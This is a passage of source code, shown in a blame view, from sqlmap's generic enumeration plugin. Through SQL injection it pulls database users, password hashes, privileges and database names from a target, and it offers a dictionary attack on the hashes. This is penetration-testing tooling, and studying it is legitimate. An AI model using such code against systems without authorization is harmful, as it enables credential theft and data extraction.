sqlmap/plugins/generic/enumeration.py

2430 lines
98 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
2010-09-30 16:35:45 +04:00
import time
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2010-09-30 16:35:45 +04:00
from lib.core.common import dataToStdout
2008-10-15 19:38:22 +04:00
from lib.core.common import getRange
2010-08-31 18:31:17 +04:00
from lib.core.common import getCompiledRegex
2010-09-30 16:35:45 +04:00
from lib.core.common import getFileItems
from lib.core.common import Backend
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
2010-09-30 16:35:45 +04:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeStringFormat
2011-03-30 01:54:15 +04:00
from lib.core.common import safeSQLIdentificatorNaming
2011-06-08 18:35:23 +04:00
from lib.core.common import singleTimeWarnMessage
from lib.core.common import strToHex
from lib.core.common import unArrayizeValue
2011-03-30 01:54:15 +04:00
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import safechardecode
from lib.core.convert import utf8decode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
2010-09-30 23:45:23 +04:00
from lib.core.data import paths
2008-10-15 19:38:22 +04:00
from lib.core.data import queries
2011-02-19 17:07:08 +03:00
from lib.core.dicts import firebirdTypes
2011-03-09 14:37:37 +03:00
from lib.core.dicts import mysqlPrivs
from lib.core.dicts import pgsqlPrivs
from lib.core.dicts import firebirdPrivs
from lib.core.dicts import db2Privs
from lib.core.enums import DBMS
2010-12-10 16:04:36 +03:00
from lib.core.enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
2010-09-30 23:45:23 +04:00
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
2011-03-27 11:58:15 +04:00
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import MAX_INT
from lib.core.settings import SQL_STATEMENTS
2008-10-15 19:38:22 +04:00
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
2011-01-07 19:39:47 +03:00
from lib.core.threads import getCurrentThreadData
from lib.parse.banner import bannerParser
2008-10-15 19:38:22 +04:00
from lib.request import inject
2010-09-30 16:35:45 +04:00
from lib.request.connect import Connect as Request
from lib.techniques.brute.use import columnExists
2010-11-09 12:42:43 +03:00
from lib.techniques.brute.use import tableExists
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
2008-10-15 19:38:22 +04:00
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self):
kb.data.has_information_schema = False
2011-04-30 17:20:05 +04:00
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.cachedCounts = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
self.alwaysRetrieveSqlOutput = False
2008-10-15 19:38:22 +04:00
def getBanner(self):
if not conf.getBanner:
return
2010-12-27 19:55:27 +03:00
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
2010-03-04 17:23:52 +03:00
# Needed for IBM DB2 versions < 9
if Backend.isDbms(DBMS.DB2) and int(Backend.getVersion().split(".")[0]) < 9:
query = queries[Backend.getIdentifiedDbms()].banner.query2
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
else:
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
bannerParser(kb.data.banner)
2010-12-27 19:55:27 +03:00
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
2010-12-27 19:55:27 +03:00
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
2008-10-15 19:38:22 +04:00
2010-12-27 19:55:27 +03:00
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
2008-10-15 19:38:22 +04:00
2011-01-02 11:01:01 +03:00
if conf.os:
setOs()
return kb.data.banner
2008-10-15 19:38:22 +04:00
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_user.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentUser
2008-10-15 19:38:22 +04:00
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_db.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentDb:
2011-04-15 12:15:21 +04:00
kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
2008-10-15 19:38:22 +04:00
return kb.data.currentDb
2008-10-15 19:38:22 +04:00
def isDba(self, user=None):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL):
self.getCurrentUser()
query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
2011-02-20 20:28:06 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
else:
query = queries[Backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query)
isDba = inject.getValue(query, charsetType=1)
if user is None:
kb.data.isDba = unArrayizeValue(isDba)
return isDba == "1"
2008-10-15 19:38:22 +04:00
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].users
2008-10-15 19:38:22 +04:00
condition = ( Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")) )
condition |= ( Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema )
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if not isNoneValue(value):
kb.data.cachedUsers = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if user:
kb.data.cachedUsers.append(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2008-10-15 19:38:22 +04:00
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SYBASE):
2011-02-20 15:07:32 +03:00
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
2011-02-20 15:07:32 +03:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=False)
2011-02-20 15:07:32 +03:00
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
# password = "0x%s" % strToHex(password)
2011-02-20 15:07:32 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 15:07:32 +03:00
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if not isNoneValue(value):
2011-02-20 19:00:13 +03:00
for user, password in value:
if not user or user == " ":
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
password = parsePasswordHash(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SYBASE):
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = True
2011-02-20 15:07:32 +03:00
randStr = randomStr()
query = rootQuery.inband.query
2011-02-20 19:00:13 +03:00
2011-02-20 15:07:32 +03:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.password' % randStr], blind=True)
2011-02-20 15:07:32 +03:00
if retVal:
for user, password in zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr]):
password = "0x%s" % strToHex(password)
2011-02-20 15:07:32 +03:00
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
for user in users:
if user in retrievedUsers:
2011-02-20 19:00:13 +03:00
continue
2008-10-15 19:38:22 +04:00
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of password hashes "
2011-02-20 19:00:13 +03:00
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
2011-02-20 19:00:13 +03:00
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of password "
2011-02-20 19:00:13 +03:00
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
2011-04-30 17:20:05 +04:00
passwords = []
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.ORACLE):
2011-02-20 19:00:13 +03:00
plusOne = True
2008-10-15 19:38:22 +04:00
else:
2011-02-20 19:00:13 +03:00
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
2011-02-20 19:00:13 +03:00
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False)
password = parsePasswordHash(password)
passwords.append(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the password "
2011-02-20 19:00:13 +03:00
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
retrievedUsers.add(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords:
2011-06-08 15:33:45 +04:00
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (most probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
2008-10-15 19:38:22 +04:00
raise sqlmapNoneDataException, errMsg
message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
2008-10-15 19:38:22 +04:00
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = ( Backend.isDbms(DBMS.PGSQL) and "super" in privileges )
2008-10-15 19:38:22 +04:00
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= ( Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges )
2008-10-15 19:38:22 +04:00
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= ( Backend.isDbms(DBMS.FIREBIRD) and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
2008-10-15 19:38:22 +04:00
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
2008-10-15 19:38:22 +04:00
# Set containing the list of DBMS administrators
areAdmins = set()
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2008-10-15 19:38:22 +04:00
else:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
query += " WHERE "
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
2008-10-15 19:38:22 +04:00
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
values = inject.getValue(query, blind=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
if not isNoneValue(values):
2008-10-15 19:38:22 +04:00
for value in values:
2011-04-30 17:20:05 +04:00
user = None
2008-10-15 19:38:22 +04:00
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
2011-03-09 15:06:32 +03:00
if int(privilege) == 1:
privileges.add(pgsqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-03-09 15:06:32 +03:00
if privilege.upper() == "Y":
privileges.add(mysqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPrivileges and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = " LIKE "
else:
conditionChar = "="
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
if user in retrievedUsers:
continue
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = "%%%s%%" % user
2008-10-15 19:38:22 +04:00
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
privileges = set()
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user, index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (user, index)
privilege = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or ( Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(firebirdPrivs[privilege.strip()])
2008-10-15 19:38:22 +04:00
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
break
2008-10-15 19:38:22 +04:00
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
else:
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the privileges "
2008-10-15 19:38:22 +04:00
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
2011-04-30 17:20:05 +04:00
errMsg = "unable to retrieve the privileges "
2008-10-15 19:38:22 +04:00
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersPrivileges, areAdmins )
2008-10-15 19:38:22 +04:00
def getRoles(self, query2=False):
2011-04-30 17:20:05 +04:00
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead"
2010-03-26 23:45:22 +03:00
logger.warn(warnMsg)
return self.getPrivileges(query2)
2008-10-15 19:38:22 +04:00
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
warnMsg = "information_schema not available, "
2008-10-15 19:38:22 +04:00
warnMsg += "back-end DBMS is MySQL < 5. database "
2008-10-26 20:00:07 +03:00
warnMsg += "names will be fetched from 'mysql' database"
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.ORACLE):
2011-04-30 17:20:05 +04:00
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
elif Backend.isDbms(DBMS.DB2):
warnMsg = "schema names are going to be used on IBM DB2 "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if not isNoneValue(value):
kb.data.cachedDbs = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
plusOne = True
2008-10-15 19:38:22 +04:00
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if db:
kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
2008-10-15 19:38:22 +04:00
return kb.data.cachedDbs
2008-10-15 19:38:22 +04:00
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
2011-04-30 17:20:05 +04:00
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
2010-10-29 13:00:51 +04:00
if conf.db == "CD":
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
